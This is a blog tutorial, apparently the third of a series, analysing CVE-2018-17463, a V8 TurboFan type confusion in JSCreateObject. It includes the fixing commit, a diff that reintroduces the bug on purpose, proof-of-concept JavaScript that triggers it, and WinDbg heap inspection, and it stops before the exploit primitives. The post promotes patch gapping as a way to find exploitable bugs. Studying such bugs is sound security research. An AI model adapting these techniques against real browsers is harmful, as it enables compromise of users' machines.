Welcome to the third and final installment of the “Chrome Browser Exploitation” series. The main objective of this series has been to provide an introduction to browser internals and delve into the topic of Chrome browser exploitation on Windows in greater depth.

In Part 1 of the series, we examined the inner workings of JavaScript and V8. This included an exploration of objects, maps, and shapes, as well as an overview of memory optimization techniques such as pointer tagging and pointer compression.

In Part 2 of the series, we took a more in-depth look at the V8 compiler pipeline. We examined the role of Ignition, Sparkplug, and TurboFan in the pipeline and covered topics such as V8’s bytecode, code compilation, and code optimization.

In today’s blog post, we will be focusing on the analysis and exploitation of CVE-2018-17463 which was a JIT Compiler Vulnerability in TurboFan. This vulnerability arose from the improper side-effect modeling of the JSCreateObject operation during the lowering optimization phase. Before we delve into exploiting this bug, we will first learn about fundamental browser exploitation primitives, such as addrOf and fakeObj, and how we can use our bug to exploit type confusions.

Warning: Please be aware that this blog post is a detailed, in-depth read, as it goes through the exploitation process step by step. As such, it is a very heavy read. If you only want to read a specific part of the blog, there is a table of contents provided for your convenience.

The following topics will be discussed in this post:

  • Understanding Patch Gapping
  • Root Cause Analysis of CVE-2018-17463
  • Setting Up Our Environment
  • Generating a Proof of Concept
  • Exploiting a Type Confusion for JSCreateObject
  • Understanding Browser Exploit Primitives
    • The addrOf Read Primitive
    • The fakeObj Write Primitive
  • Gaining Memory Read + Write Access
  • Gaining Code Execution within V8
    • Basic WebAssembly Internals
    • Abusing WebAssembly Memory

Alright, with that being said, let’s jump in and do this!

Understanding Patch Gapping

In September 2018, Issue 888923 was reported to Google’s Security Team through the Beyond Security’s SecuriTeam Secure Disclosure program. The bug was discovered by Samuel Gross through source code review and was used as part of the Hack2Win competition. A month after the bug was fixed, it was made public via an SSD Advisory titled “Chrome Type Confusion in JSCreateObject Operation to RCE” which provided some details about the bug and released a detailed proof of concept for its exploitation.

Within the same month, Samuel gave a talk at BlackHat 2018 called “Attacking Client-Side JIT Compilers” in which he discussed vulnerabilities in JIT compilers, particularly those related to redundancy elimination and the modeling of side effects within IR. It wasn’t until 2021 that Samuel released a Phrack article titled “Exploiting Logic Bugs in JavaScript JIT Engines” which provided a more in-depth explanation of how CVE-2018-17463 was discovered and exploited.

It’s worth noting that a significant amount of information about this bug was made public within a few weeks of its discovery. This means that attackers could have used this information to reverse engineer and exploit the bug. However, the issue with this is that most, if not all, Chrome browsers would have already been patched automatically within a few days or even weeks after the initial commit for the fix was pushed, rendering the bug useless.

Instead of relying on publicly available information about potential bugs, many attackers and exploit engineers track commits looking for specific keywords. When they find a commit that looks promising, they will try to figure out the underlying bug, a practice known as “patch gapping”.

As explained within Exodus’s post “Patch Gapping Google Chrome” they detail patch-gapping as being “the practice of exploiting vulnerabilities in open-source software that are already fixed (or are in the process of being fixed) by the developers before the actual patch is shipped to users”.

Why is this relevant to our discussion of Chrome browser exploitation? Well, by understanding the concept of patch gapping it allows us to adopt more of an “adversary mindset.” After learning so much about the internals of V8, we now should have a good enough understanding to be able to spot a potential bug in Chrome’s code from an initial commit.

By taking this approach, we can widen the window of opportunity for exploiting a bug, as well as broaden our knowledge of Chrome’s codebase. Additionally, by observing locations in the code that are frequently patched, we can get a sense of where we should look for potential 0-day vulnerabilities in Chrome.

With that in mind, let’s begin our root analysis by looking at the initial commit that was pushed to fix the bug we’re examining. We’ll try to reverse engineer the fix and figure out how to trigger the bug using the knowledge we acquired. If we get stuck, we’ll use the already existing public resources to help us. After all, this is a journey through browser exploitation, and sometimes a journey is never an easy one!

Root Cause Analysis of CVE-2018-17463

Looking into Issue 888923 we can see that the initial patch for this bug was pushed with commit 52a9e67a477bdb67ca893c25c145ef5191976220 with the message of “[turbofan] Fix ObjectCreate’s side effect annotation”. Knowing this, let’s use the git show command within our V8 directory to see what that commit fixed.

C:\dev\v8\v8>git show 52a9e67a477bdb67ca893c25c145ef5191976220
commit 52a9e67a477bdb67ca893c25c145ef5191976220
Author: Jaroslav Sevcik <jarin@chromium.org>
Date:   Wed Sep 26 13:23:47 2018 +0200

    [turbofan] Fix ObjectCreate's side effect annotation.

    Bug: chromium:888923
    Change-Id: Ifb22cd9b34f53de3cf6e47cd92f3c0abeb10ac79
    Reviewed-on: https://chromium-review.googlesource.com/1245763
    Reviewed-by: Benedikt Meurer <bmeurer@chromium.org>
    Commit-Queue: Jaroslav Sevcik <jarin@chromium.org>
    Cr-Commit-Position: refs/heads/master@{#56236}

diff --git a/src/compiler/js-operator.cc b/src/compiler/js-operator.cc
index 94b018c987..5ed3f74e07 100644
--- a/src/compiler/js-operator.cc
+++ b/src/compiler/js-operator.cc
@@ -622,7 +622,7 @@ CompareOperationHint CompareOperationHintOf(const Operator* op) {
   V(CreateKeyValueArray, Operator::kEliminatable, 2, 1)                \
   V(CreatePromise, Operator::kEliminatable, 0, 1)                      \
   V(CreateTypedArray, Operator::kNoProperties, 5, 1)                   \
-  V(CreateObject, Operator::kNoWrite, 1, 1)                            \
+  V(CreateObject, Operator::kNoProperties, 1, 1)                       \
   V(ObjectIsArray, Operator::kNoProperties, 1, 1)                      \
   V(HasProperty, Operator::kNoProperties, 2, 1)                        \
   V(HasInPrototypeChain, Operator::kNoProperties, 2, 1)                \
diff --git a/test/mjsunit/compiler/regress-888923.js b/test/mjsunit/compiler/regress-888923.js
new file mode 100644
index 0000000000..e352673b7d
--- /dev/null
+++ b/test/mjsunit/compiler/regress-888923.js
@@ -0,0 +1,31 @@
+// Copyright 2018 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+(function() {
+  function f(o) {
+    o.x;
+    Object.create(o);
+    return o.y.a;
+  }
+
+  f({ x : 0, y : { a : 1 } });
+  f({ x : 0, y : { a : 2 } });
+  %OptimizeFunctionOnNextCall(f);
+  assertEquals(3, f({ x : 0, y : { a : 3 } }));
+})();
+
+(function() {
+  function f(o) {
+    let a = o.y;
+    Object.create(o);
+    return o.x + a;
+  }
+
+  f({ x : 42, y : 21 });
+  f({ x : 42, y : 21 });
+  %OptimizeFunctionOnNextCall(f);
+  assertEquals(63, f({ x : 42, y : 21 }));
+})();

Upon examining this commit, we can see that it only fixed a single line of code in the src/compiler/js-operator.cc file. The fix simply replaced the Operator::kNoWrite flag with the Operator::kNoProperties flag for the CreateObject JavaScript operation.

If you remember back in Part 2 of this series, we briefly discussed these flags and explained that they are used by intermediate representation (IR) operations. In this case, the kNoWrite flag indicates that the CreateObject operation will not have observable side effects, or in other words, observable changes to the execution of the context.

This poses a problem for the compiler. As we know, certain operations can have side effects that cause observable changes to the context. For example, if an object that was passed in had its object Map changed or modified - that’s an observable side effect that needs to be written to the chain of operations. Otherwise, certain optimization passes, such as redundancy elimination, may remove what the compiler believes is a “redundant” CheckMap operation when in reality it was a required check. Essentially this can lead to a type confusion vulnerability.

So let’s validate if the CreateObject function does in fact have an observable side-effect.

To determine whether an IR operation has side effects, we need to look at the lowering phase of the optimizing compiler. This phase converts high-level IR operations into lower-level instructions for JIT compilation and is also where redundancy elimination occurs.

For the CreateObject JavaScript operation, the lowering happens within the v8/src/compiler/js-generic-lowering.cc source file, specifically within the LowerJSCreateObject function.

void JSGenericLowering::LowerJSCreateObject(Node* node) {
  CallDescriptor::Flags flags = FrameStateFlagForCall(node);
  Callable callable = Builtins::CallableFor(
      isolate(), Builtins::kCreateObjectWithoutProperties);
  ReplaceWithStubCall(node, callable, flags);
}

Looking at lowering function, we can see that the JSCreateObject IR operation will be lowered to a call to the builtin function CreateObjectWithoutProperties, located within the v8/src/builtins/object.tq source file.

transitioning builtin CreateObjectWithoutProperties(implicit context: Context)(
    prototype: JSAny): JSAny {
  try {
    let map: Map;
    let properties: NameDictionary|SwissNameDictionary|EmptyFixedArray;
    typeswitch (prototype) {
      case (Null): {
        map = *NativeContextSlot(
            ContextSlot::SLOW_OBJECT_WITH_NULL_PROTOTYPE_MAP);
        @if(V8_ENABLE_SWISS_NAME_DICTIONARY) {
          properties =
              AllocateSwissNameDictionary(kSwissNameDictionaryInitialCapacity);
        }
        @ifnot(V8_ENABLE_SWISS_NAME_DICTIONARY) {
          properties = AllocateNameDictionary(kNameDictionaryInitialCapacity);
        }
      }
      case (prototype: JSReceiver): {
        properties = kEmptyFixedArray;
        const objectFunction =
            *NativeContextSlot(ContextSlot::OBJECT_FUNCTION_INDEX);
        map = UnsafeCast<Map>(objectFunction.prototype_or_initial_map);
        if (prototype != map.prototype) {
          const prototypeInfo = prototype.map.PrototypeInfo() otherwise Runtime;
          typeswitch (prototypeInfo.object_create_map) {
            case (Undefined): {
              goto Runtime;
            }
            case (weak_map: Weak<Map>): {
              map = WeakToStrong(weak_map) otherwise Runtime;
            }
          }
        }
      }
      case (JSAny): {
        goto Runtime;
      }
    }
    return AllocateJSObjectFromMap(map, properties);
  } label Runtime deferred {
    return runtime::ObjectCreate(prototype, Undefined);
  }
}

There’s a lot of code within this function. We don’t need to understand it all, but to put it simply this function begins the process of creating a new object without properties. One interesting aspect of this function is the typeswitch for the object’s prototype.

The reason this is interesting for us is because of an optimization trick within V8. In JavaScript each object has a private property that holds a link to another object called a prototype. In simple term, a prototype is similar to a class in C++ where objects can inherit features from certain classes. That prototype object has its own prototype, and so does the prototype of the prototype, forming a “prototype chain” that continues until an object of the null value is reached.

I won’t go into too much detail on prototypes in this post, but you can read “Object Prototypes” and “Inheritance and the Prototype Chain” for a better understanding of this concept. For now, let’s focus on the interesting optimization of prototypes in V8.

In V8, each prototype has a unique shape that is not shared with any other objects, specifically not with other prototypes. Whenever the prototype of an object is changed, a new shape is allocated for that prototype. I suggest reading “JavaScript Engine Fundamentals: Optimizing Prototypes” for more information on this optimization.

Because of this, we want to play close attention to the code due to the fact that the optimization of prototypes is a side effect that could have consequences if not properly modeled.

In the end, the CreateObjectWithoutProperties function ends up calling the ObjectCreate function, which a C++ runtime builtin located in v8/src/objects/js-objects.cc. Back in the 2018 codebase this function was located within the v8/src/objects.cc file.

// 9.1.12 ObjectCreate ( proto [ , internalSlotsList ] )
// Notice: This is NOT 19.1.2.2 Object.create ( O, Properties )
MaybeHandle<JSObject> JSObject::ObjectCreate(Isolate* isolate,
                                             Handle<Object> prototype) {
  // Generate the map with the specified {prototype} based on the Object
  // function's initial map from the current native context.
  // TODO(bmeurer): Use a dedicated cache for Object.create; think about
  // slack tracking for Object.create.
  Handle<Map> map =
      Map::GetObjectCreateMap(isolate, Handle<HeapObject>::cast(prototype));

  // Actually allocate the object.
  return isolate->factory()->NewFastOrSlowJSObjectFromMap(map);
}

Peeking into the ObjectCreate function we can see that this function generates a new map for the object based off our previous object’s prototype using the GetObjectCreateMap function, which is located in v8/src/objects/map.cc.

At this point we should already start seeing where the potential side-effects are within this JavaScript operator.

// static
Handle<Map> Map::GetObjectCreateMap(Isolate* isolate,
                                    Handle<HeapObject> prototype) {
  Handle<Map> map(isolate->native_context()->object_function().initial_map(),
                  isolate);
  if (map->prototype() == *prototype) return map;
  if (prototype->IsNull(isolate)) {
    return isolate->slow_object_with_null_prototype_map();
  }
  if (prototype->IsJSObject()) {
    Handle<JSObject> js_prototype = Handle<JSObject>::cast(prototype);
    if (!js_prototype->map().is_prototype_map()) {
      JSObject::OptimizeAsPrototype(js_prototype); // <== Side Effect
    }
    Handle<PrototypeInfo> info =
        Map::GetOrCreatePrototypeInfo(js_prototype, isolate);
    // TODO(verwaest): Use inobject slack tracking for this map.
    if (info->HasObjectCreateMap()) {
      map = handle(info->ObjectCreateMap(), isolate);
    } else {
      map = Map::CopyInitialMap(isolate, map);
      Map::SetPrototype(isolate, map, prototype);
      PrototypeInfo::SetObjectCreateMap(info, map);
    }
    return map;
  }

  return Map::TransitionToPrototype(isolate, map, prototype); // <== Side Effect
}

Within the GetObjectCreateMap function, we can see two interesting calls to JSObject::OptimizeAsPrototype and Map::TransitionToPrototype. This is interesting for us because this code implies and further confirms that the newly created object is converted to a prototype object, which also changes the object’s associated map.

Knowing this, let’s jump into d8 and validate that the Object.create function does indeed modify an object and the map in some way that can be exploitable to us. To start, let’s launch d8 with the --allow-natives-syntax options and create a new object, like so.

let obj = {x:13};

From here, let’s execute the %DebugPrint function against our object to see its map and associated properties.

d8> %DebugPrint(obj)
DebugPrint: 000002A50010A505: [JS_OBJECT_TYPE]
 - map: 0x02a5002596f5 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x02a500244669 <Object map = 000002A500243D25>
 - elements: 0x02a500002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x02a500002259 <FixedArray[0]>
 - All own properties (excluding elements): {
    000002A5000041ED: [String] in ReadOnlySpace: #x: 13 (const data field 0), location: in-object
 }
000002A5002596F5: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 16
 - inobject properties: 1
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x02a5002596cd <Map[16](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x02a5002043cd <Cell value= 1>
 - instance descriptors (own) #1: 0x02a50010a515 <DescriptorArray[1]>
 - prototype: 0x02a500244669 <Object map = 000002A500243D25>
 - constructor: 0x02a50024422d <JSFunction Object (sfi = 000002A50021BA25)>
 - dependent code: 0x02a5000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

From initial review of the output, we can see that the map of the object is that of FastProperties which corresponds to our object having in-object properties. Now, let’s execute the Object.create function against our object, and print out its debug information.

d8> Object.create(obj)
d8> %DebugPrint(obj)
DebugPrint: 000002A50010A505: [JS_OBJECT_TYPE]
 - map: 0x02a50025a9c9 <Map[16](HOLEY_ELEMENTS)> [DictionaryProperties]
 - prototype: 0x02a500244669 <Object map = 000002A500243D25>
 - elements: 0x02a500002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x02a50010c339 <NameDictionary[17]>
 - All own properties (excluding elements): {
   x: 13 (data, dict_index: 1, attrs: [WEC])
 }
000002A50025A9C9: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 16
 - inobject properties: 1
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - dictionary_map
 - may_have_interesting_symbols
 - prototype_map
 - prototype info: 0x02a50025a9f1 <PrototypeInfo>
 - prototype_validity cell: 0x02a5002043cd <Cell value= 1>
 - instance descriptors (own) #0: 0x02a5000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x02a500244669 <Object map = 000002A500243D25>
 - constructor: 0x02a50024422d <JSFunction Object (sfi = 000002A50021BA25)>
 - dependent code: 0x02a5000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

As you can see, when Object.create is called, the map of the object is changed from a FastProperties map with in-object properties to a DictionaryProperties map where these properties are now stored in a dictionary. This side-effect invalidates the kNoWrite flag for the ObjectCreate intermediate representation (IR) operation, proving that this assumption is flawed.

In this case, if we can get a CheckMap operation to be eliminated through redundancy elimination before the call to Object.create, then we can trigger a type confusion vulnerability. The type confusion will occur when the engine will try to access the out-of-line properties within the properties backing store. The engine expects the properties backing store to be a FixedArray where each property is stored one after another, but instead it will now point to a more complex NameDictionary.

Setting Up Our Environment

Before we can move on to analyzing and exploiting this bug, we first need to set up our development environment. If you have been following this blog post series since Part 1, you likely already have a working version of d8 after following the instructions in my “Building Chrome V8 on Windows” guide.

Since this bug is from 2018, there have been a lot of changes to the Chromium codebase along with changes to the dependencies required to build newer versions. To reproduce this bug you can simply just apply the below diff patch to the src/compiler/js-operator.cc file:

diff --git a/src/compiler/js-operator.cc b/src/compiler/js-operator.cc
index 8af8e7d32f..63edfa9684 100644
--- a/src/compiler/js-operator.cc
+++ b/src/compiler/js-operator.cc
@@ -750,7 +750,7 @@ Type JSWasmCallNode::TypeForWasmReturnType(const wasm::ValueType& type) {
   V(CreateKeyValueArray, Operator::kEliminatable, 2, 1)                  \
   V(CreatePromise, Operator::kEliminatable, 0, 1)                        \
   V(CreateTypedArray, Operator::kNoProperties, 5, 1)                     \
-  V(CreateObject, Operator::kNoProperties, 1, 1)                         \
+  V(CreateObject, Operator::kNoWrite, 1, 1)                              \
   V(ObjectIsArray, Operator::kNoProperties, 1, 1)                        \
   V(HasInPrototypeChain, Operator::kNoProperties, 2, 1)                  \
   V(OrdinaryHasInstance, Operator::kNoProperties, 2, 1)                  \

However, during my testing, while I was able to trigger the bug, I was not able to actually get a working type confusion and abuse the addrOf and fakeObj primitives (which we will discuss later in the post). I am not sure why this was the case, but it could be that a code change between 2018 and 2022 patched part of the codebase that was required for these primitives.

UPDATE: The reason that this type confusion wasn’t working on newer versions of V8 after the diff patch, was due to the fact that the V8 Heap Sandbox was enabled. This sandbox essentially prevents an attacker from corrupting V8 objects such as the ArrayBuffer.

After applying the patch, it’s potentially possible to disable the V8 Heap Sandbox via the V8_VIRTUAL_MEMORY_CAGE flag being set to False which was introduced in Change 3010195. I haven’t tested this personally, so I can’t guarantee this will work.

Instead, what I opted to do was to check out the last “vulnerable” commit before the bug fix and built v8 and d8 again. This itself posed some problems, as in 2018 Chrome required Visual Studio 2017, but in our current environment we have Visual Studio 2019. While it is still possible to build Chrome with Visual Studio 2019, we need to install some prerequisites first.

To start, open Visual Studio 2019 Installer, and install the following additional components:

  • MSVC v140 - VS 2015 C++ build tools (v14.00)
  • MSVC v141 - VS 2017 C++ x64/x86 build tools (v14.16)
  • Windows 10 SDK (10.0.17134.0)

Once those components are installed, we need to add the following Environmental Variables:

  • Add the vs2017_install User Variable and set it to C:\Program Files (x86)\Microsoft Visual Studio 14.0\
  • Add C:\Program Files (x86)\Windows Kits\10\bin\10.0.17134.0\x64 to the User Path Variable.

Once that’s configured, we now need to modify the V8 codebase. If we look into the git log of commit 52a9e67a477bdb67ca893c25c145ef5191976220 we’ll see that the last vulnerable commit before the bug fix was 568979f4d891bafec875fab20f608ff9392f4f29.

With that commit in hand, we can run the git checkout command to update the files in the V8 directory and match the version of the last vulnerable commit.

C:\dev\v8\v8>git checkout 568979f4d891bafec875fab20f608ff9392f4f29
HEAD is now at 568979f4d8 [parser] Fix memory accounting of explicitly cleared zones

After setting that up, delete the x64.debug directory in the v8\v8\out\ folder to avoid errors. Next, modify the build/toolchain/win/tool_wrapper.py build script to match the contents of the tool_wrapper.py file after the fix was applied to remove the superflush hack due to a build error reported in Issue 1033106.

Once you have modified the tool_wrapper.py file, you can build the debug version of d8 with the following commands:

C:\dev\v8\v8>gn gen --ide=vs out\x64.debug
C:\dev\v8\v8>cd out\x64.debug
C:\dev\v8\v8\out\x64.debug>msbuild all.sln

This build may take a while to complete, so go get a coffee while you wait. ☕

Once the build is completed, you should be able to launch d8 and successfully run the poc.js script from the SSD Advisory to confirm that you can create a working read/write primitive.

Generating a Proof of Concept

Now that we have a vulnerable version of V8 and understand the underlying bug, we can start writing our proof of concept. Let’s start by recapping what we need this proof of concept to do:

  1. Create a new object with an inline-property that will be used as our prototype for Object.create.
  2. Add a new out-of-line property to the object’s property backing store, which we will attempt to access after the Map transition.
  3. Force a CheckMap operation on the object to trigger redundancy elimination, which will remove subsequent CheckMap operations.
  4. Call Object.create with the previously created object to force a Map transition.
  5. Access the out-of-line property of our object.
    • Due to the CheckMap redundancy elimination, the engine will dereference the property pointer thinking it’s an array. However, it now points to a NamedDictionary, allowing us to access different data.

On the surface, this may seem straightforward. However, it’s important to note that bugs can often be more complex in practice than in theory, particularly when it comes to triggering or exploiting them. Therefore, the hardest part is usually triggering the bug and getting a type confusion to work. Once that is achieved, the process toward exploitation tends to be smoother.

So, how do we begin?

Fortunately for us, if we examine the diff for 52a9e67a477bdb67ca893c25c145ef5191976220, we will notice that the Chrome team added a regression test case in the commit. A regression test is used to verify that any updates or modifications to an application do not affect its overall functionality. In this case, the regression file appears to be testing for our bug!

Let’s take a look at this test case and see what we can work with.

// Flags: --allow-natives-syntax

(function() {
  function f(o) {
    o.x;
    Object.create(o);
    return o.y.a;
  }

  f({ x : 0, y : { a : 1 } });
  f({ x : 0, y : { a : 2 } });
  %OptimizeFunctionOnNextCall(f);
  assertEquals(3, f({ x : 0, y : { a : 3 } }));
})();

From the top of the code, we can see that a new function f is created which accepts an object o. When this function is called, it performs the following actions on the passed-in object:

  1. It access property a of object o, which should force a CheckMap operation.
  2. Calls Object.create on object o, which should force a Map transition.
  3. Accesses an out-of-bound property of a in the passed-in object y, which should trigger the type-confusion.

We can see that this function is called twice with simple objects and properties, and then %OptimizeFunctionOnNextCall is called, which forces V8 to pass the function to TurboFan for optimization. This prevents us from needing to run a loop to make the function “hot”. The function is then called for a third time, which should trigger our bug.

As you can see, the assert method is called to check that the value of 3 is returned. If it is not, it’s possible that the bug is still present.

This is helpful for us because we now have a working proof of concept that we can use. Although, I’m not sure why they are using a object within the properties backing store instead of a value. Guess we’ll figure that out later.

With this information, let’s build our own proof of concept script by using the information we have gathered. Afterwards, we’ll perform a few checks to make sure that we indeed have a working type confusion, and we’ll also use Turbolizer to validate that the CheckMap operation is indeed removed via redundancy elimination.

Our proof of concept should look like so:

function vuln(obj) {
    // Access Property a of obj, forcing a CheckMap operation
    obj.a;

    // Force a Map Transition via our side-effect
    Object.create(obj)

    // Trigger our type-confusion by accessing an out-of-bound property
    return obj.b;
}

vuln({a:42, b:43}); // Warm-up code
vuln({a:42, b:43});
%OptimizeFunctionOnNextCall(vuln); // JIT Compile vuln
vuln({a:42, b:43}); // Trigger type-confusion - should not return 43!

Now that we have created our proof of concept, let’s start d8 with the --allow-naitives-syntax flag and add in our vuln function. Once the function is created, let’s execute the last 4 lines of code within our proof of concept. You should see the following output:

d8> vuln({a:42, b:43})
43
d8> vuln({a:42, b:43})
43
d8> %OptimizeFunctionOnNextCall(vuln)
undefined
d8> vuln({a:42, b:43})
0

And with that, we have working proof of concept! As you can see, the optimized function no longer returns 43, but returns 0 instead.

Before we delve further into the bug and try to achieve a working type-confusion, let’s run this script with the --trace-turbo flag and inspect the IR at each optimization stage to confirm that the CheckMap node has indeed been removed and that this is not a fluke.

C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax --trace-turbo poc.js
Concurrent recompilation has been disabled for tracing.
---------------------------------------------------
Begin compiling method vuln using Turbofan
---------------------------------------------------
Finished compiling method vuln using Turbofan

Once you have the turbo file created, let’s examine the Typer optimization phase to see the initial IR graph.

Initial review of the IR shows us what we expected. As you can see, the Parameter[1] node passes in the object for our function. This object goes through a CheckMaps operation to validate the map, and then a LoadField operation is called to return property a.

Next, we call JSCreateObject to modify our object into a prototype. Afterwards the IR goes through a CheckMaps operation to validate the Map of the object and then calls the LoadField operation to return property b. This is the expected side-effect flow that should have been preserved.

Now, let’s take a look at the IR after the lowering phase. Since CreateObject does not write to the side-effect chain, the CheckMaps node should no longer exist due to redundancy elimination.

As you can see in the simplified lowering phase, our previous CheckMaps node after the JSCreateObject call has now been removed and it directly calls the LoadField node.

Now that we have confirmed that JIT’d code does indeed remove the CheckMaps node, let’s modify our proof of concept to not use %OptimizeFunctionOnNextCall and instead put our code within a loop so that JIT will take over when it is executed.

Additionally, this time let’s add an out-of-line property to our object so that we can force JIT to access the backing store as an array, which will trigger our type confusion.

Our updated POC will look like so:

function vuln(obj) {
  // Access Property a of obj, forcing a CheckMap operation
  obj.a;

  // Force a Map Transition via our side-effect
  Object.create(obj)

  // Trigger our type-confusion by accessing an out-of-bound property
  return obj.b;
}

for (let i = 0; i < 10000; i++) {
  let obj = {a:42}; // Create object with in-line properties
  obj.b = 43; // Store property out-of-line in backing store
  vuln(obj); // Trigger type-confusion
}

After updating this code, and running it with the --trace-turbo flag, we can again confirm that we have a working type-confusion. As we can see in the IR, the compiler accesses our object’s backing store pointer at offset 8, and then loads property b which it thinks is at offset 16 in the array. However, it will access another region of data since it’s no longer an array but a dictionary.

Exploiting a Type Confusion for JSCreateObject

Now that we have a working type-confusion where V8 access a NamedDictionary as an array, we have to figure out how we can abuse this vulnerability to gain read and write access to V8’s heap.

Unlike many exploits, this vulnerability does not involve a memory corruption flaw, so it is not possible to overflow a buffer and control the instruction pointer (RIP). However, type confusion vulnerabilities do allow us to manipulate function pointers and data within the memory layout of an object. For instance, if we can overwrite the pointer to an object and V8 dereferences or jumps to that pointer, we can achieve code execution.

Unfortunately, we can’t just blindly start reading and writing data into objects without having some precision. As seen in the IR above, we do have some control over where V8 will go to read and write data by specifying a property in an array. However, due to the type confusion, this array is converted into a NameDictionary, which means the layout changes.

To exploit this vulnerability, we need to understand how these two object structures differ and how we can manipulate them to achieve our goals.

As we know from Part 1, an array is simply a FixedArray structure that stores property values one after the other and is accessed by index. As you can see in the IR above, the first LoadField call is at offset 8, which would be the properties backing store pointer within JSObject. Since we have only one out-of-line property in the backing store, we see the second LoadField access the first property at offset 16, initially skipping over the Map and Length.

During the conversion from an array to a dictionary, we also know that all the properties metadata information is no longer stored in the Descriptor Array in the Map but directly in the properties backing store. In this case, the dictionary stores property values inside a dynamically sized buffer of name, value, and detail triplets.

In essence, the NameDictionary structure is more complex than what we detailed in Part 1. To better understand the memory layout of a NameDictionary, I have provided a visual example below.

As you can see, the NameDictionary does store the property triplets as well as additional metadata related to the number of elements in the dictionary. In this case, if our type-confusion read the data at offset 16 like in the IR above, then it would have read the number of elements that are stored within the dictionary.

To validate this information, we can reuse our proof-of-concept script and set breakpoints in WinDbg to examine the memory layout of our objects. One simple way to debug these proof-of-concept scripts is to set a breakpoint on the RUNTIME_FUNCTION(Runtime_DebugPrint) function in the /src/runtime/runtime-test.cc source file. This will trigger when %DebugPrint is called, allowing us to get debug output from d8 and further analyze the exploit in WinDbg.

Let’s start by modifying the proof-of-concept by adding in the DebugPrint command before and after the object is changed. The script should look like this:

function vuln(obj) {
  // Access Property a of obj, forcing a CheckMap operation
  obj.a;

  // Force a Map Transition via our side-effect
  Object.create(obj)

  // Trigger our type-confusion by accessing an out-of-bound property
  return obj.b;
}

for (let i = 0; i < 10000; i++) {
  let obj = {a:42}; // Create object with in-line properties
  obj.b = 43; // Store property out-of-line in backing store
  if (i = 1) { %DebugPrint(obj); }
  vuln(obj); // Trigger type-confusion
  if (i = 9999) { %DebugPrint(obj); }
}

To help analyze the memory layout of our object, we modify the proof-of-concept script to print out the object information at two points: once at iteration 1 after setting up its properties, and again at iteration 9999 after JIT kicks in and modifies the object.

To debug this script, we can launch d8 within WinDbg using the --allow-natives-syntax flag, followed by the location of the proof-of-concept script. For example:

Once done, press Debug. This will launch d8 and will hit the first debugging breakpoint which is set by WinDbg.

(17f0.155c): Break instruction exception - code 80000003 (first chance)
ntdll!LdrpDoDebuggerBreak+0x30:
00007ffd`16220950 cc              int     3

Now we can search for our DebugPrint function in V8’s source code by using the x v8!*DebugPrint* command within WinDbg. You should get similar output as below.

0:000> x v8!*DebugPrint*
*** WARNING: Unable to verify checksum for C:\dev\v8\v8\out\x64.debug\v8.dll
00007ffc`dc035ba0 v8!v8::internal::Runtime_DebugPrint (int, class v8::internal::Object **, class v8::internal::Isolate *)
00007ffc`db99ef00 v8!v8::internal::ScopeIterator::DebugPrint (void)
00007ffc`dc035f40 v8!v8::internal::__RT_impl_Runtime_DebugPrint (class v8::internal::Arguments *, class v8::internal::Isolate *)

We’ll set a breakpoint on the v8!v8::internal::Runtime_DebugPrint function. You can do that by running the following command in WinDbg.

bp v8!v8::internal::Runtime_DebugPrint

Once that breakpoint is configured, press Go or type g in the command window and we should hit our DebugPrint breakpoint.

You may notice that, even though the breakpoint is hit, there is no output in d8. To remedy this, we can set a breakpoint on line 542 by clicking on it and pressing F9. Then, we can press Shift + F11 or “Step Out” to continue execution and see the debug output in d8.

DebugPrint: 000000C44E40DAD9: [JS_OBJECT_TYPE]
 - map: 0x02a66658c251 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x00a318f04229 <Object map = 000002A6665822F1>
 - elements: 0x02c9f8782cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x00c44e40db81 <PropertyArray[3]> {
    #a: 42 (data field 0)
    #b: 43 (data field 1) properties[0]
 }

Upon inspection of the output, we can see that our object has one inline property, and one out-of-line property which should be in the properties backing store at address 0x00c44e40db81. Let’s quickly peek into our object with WinDbg to verify that address.

0:000> dq 000000C44E40DAD9-1 L6
000000c4`4e40dad8  000002a6`6658c251 000000c4`4e40db81
000000c4`4e40dae8  000002c9`f8782cf1 0000002a`00000000
000000c4`4e40daf8  000002c9`f8782341 00000005`00000000

Right away, we notice something different. While the object structure matches the address within the debug output, we notice that these are full 32bit addresses. The reason for this is because in this version of V8, pointer compression wasn’t yet implemented, so V8 still uses full 32bit address. As a result, values stored in the object structure are no longer doubled. This can be confirmed by verifying that the hex value of 0x2a is actually 42, which is the value of the first inline property.

Knowing this, let’s validate our properties array backing store structure by inspecting its memory content in WinDbg.

0:000> dq 0x00c44e40db81-1 L6
000000c4`4e40db80  000002c9`f8783899 00000003`00000000
000000c4`4e40db90  0000002b`00000000 000002c9`f87825a1
000000c4`4e40dba0  000002c9`f87825a1 deadbeed`beadbeef

Upon doing so, we see that the b property (with a value of 43 or 0x2b in hex) is at offset 16 of the array in the property backing store.

Now that we have validate our object structure, let’s press Go and then Shift + F12, to get the output of our modified object after triggering the bug.

DebugPrint: 000000C44E40DAD9: [JS_OBJECT_TYPE]
 - map: 0x02a66658c2f1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
 - prototype: 0x00a318f04229 <Object map = 000002A6665822F1>
 - elements: 0x02c9f8782cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x00c44e40dba9 <NameDictionary[29]> {
   #a: 42 (data, dict_index: 1, attrs: [WEC])
   #b: 43 (data, dict_index: 2, attrs: [WEC])
 }

